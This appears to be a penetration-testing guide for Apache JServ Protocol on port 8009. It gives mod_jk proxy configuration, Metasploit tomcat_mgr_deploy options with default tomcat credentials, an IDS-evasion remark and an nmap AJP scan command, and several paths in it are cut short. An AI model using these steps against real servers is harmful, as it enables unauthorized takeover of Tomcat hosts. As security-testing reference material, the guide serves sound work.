8009 - Pentesting Apache JServ Protocol (AJP)

Basic Information


AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

Default port: 8009

8009/tcp open ajp13

Apache AJP Proxy

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
# Where to find
# Update this path to match your conf directory location
JkWorkersFile /etc/apache2/
# Where to put jk logs
# Update this path to match your logs directory location
JkLogFile /var/log/apache2/mod_jk.log
# Set the jk log level [debug/error/info]
JkLogLevel info
# Select the log format
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
# JkOptions indicate to send SSL KEY SIZE,
JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
# JkRequestLogFormat set the request format
JkRequestLogFormat "%w %V %T"
# Shm log file
JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/
# Define 1 real worker named ajp13
# Set properties for worker named ajp13 to use ajp13 protocol,
# and run on port 8009
sudo vim /etc/apache2/sites-enabled/000-default
JkMount /* ajp13
JkMount /manager/ ajp13
JkMount /manager/* ajp13
JkMount /host-manager/ ajp13
JkMount /host-manager/* ajp13
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this. Now you can just point your regular metasploit tomcat exploit to and take over that system. Here is the metasploit output also:

msf exploit(tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD tomcat no The password for the specified username
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no Use a proxy chain
RHOST localhost yes The target address
RPORT 80 yes The target port
USERNAME tomcat no The username to authenticate as
VHOST no HTTP server virtual host


nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>